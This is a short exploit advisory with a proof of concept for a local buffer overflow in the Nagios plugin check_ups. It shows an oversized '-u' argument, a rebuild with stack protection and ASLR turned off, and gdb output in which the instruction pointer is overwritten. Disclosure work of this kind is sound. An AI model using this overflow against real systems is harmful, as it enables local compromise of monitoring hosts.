Nagios Plugins check_ups – Local Buffer Overflow (PoC)
################################################################# # Advisory: Nagios Plugin 'check_ups' local buffer overflow # Author: Stefan Schurtz # Contact: s.schurtz@infoserve.de # Affected Software: Successfully tested on nagios-plugins-1.4.15 # Vendor URL: http://nagiosplugins.org/ ################################################################# ./check_ups -u `perl -e 'print "A"x16407'` *** buffer overflow detected ***: ./check_ups terminated ======= Backtrace: ========= /lib/libc.so.6(__fortify_fail+0x50)[0x25d970] /lib/libc.so.6(+0xe486a)[0x25c86a] /lib/libc.so.6(+0xe3fa8)[0x25bfa8] /lib/libc.so.6(_IO_default_xsputn+0x9e)[0x1e2a2e] /lib/libc.so.6(_IO_vfprintf+0x36b2)[0x1b88c2] /lib/libc.so.6(__vsprintf_chk+0xad)[0x25c05d] /lib/libc.so.6(__sprintf_chk+0x2d)[0x25bf9d] ./check_ups[0x8049e66] ./check_ups[0x804a105] ./check_ups[0x804a4ce] /lib/libc.so.6(__libc_start_main+0xe7)[0x18ece7] ./check_ups[0x80491a1] ======= Memory map: ======== 00110000-0012c000 r-xp 00000000 08:01 660177 /lib/ld-2.12.1.so 0012c000-0012d000 r--p 0001b000 08:01 660177 /lib/ld-2.12.1.so 0012d000-0012e000 rw-p 0001c000 08:01 660177 /lib/ld-2.12.1.so 0012e000-0012f000 r-xp 00000000 00:00 0 [vdso] 0012f000-00142000 r-xp 00000000 08:01 660186 /lib/libnsl-2.12.1.so 00142000-00143000 r--p 00012000 08:01 660186 /lib/libnsl-2.12.1.so 00143000-00144000 rw-p 00013000 08:01 660186 /lib/libnsl-2.12.1.so 00144000-00146000 rw-p 00000000 00:00 0 // Compile without stack protection sysctl -w kernel.randomize_va_space=0 cd plugins/ gcc -fno-stack-protector -z execstack -DNP_VERSION=\"1.4.15\" -g -o check_ups check_ups.c netutils.o utils.o -L/usr/src/nagios-plugins-1.4.15/plugins ../lib/libnagiosplug.a ../gl/libgnu.a -DLOCALEDIR=\"/usr/local/nagios/share/locale\" -I../lib -I../gl -I../intl -I.. // next test ./check_ups -u `perl -e 'print "A"x16408'` Connection refused Invalid response received from host Segmentation fault (gdb) run -u `perl -e 'print "A"x16408'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/src/nagios-plugins-1.4.15/plugins/check_ups -u `perl -e 'print "A"x16408'` Connection refused Invalid response received from host Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0xffffffff -1 ecx 0x2914e0 2692320 edx 0x292360 2696032 ebx 0x41414141 1094795585 esp 0xbfff56f0 0xbfff56f0 ebp 0x41414141 0x41414141 <--- AAAA esi 0x0 0 edi 0x0 0 eip 0x41414141 0x41414141 <--- AAAA eflags 0x10286 [ PF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 |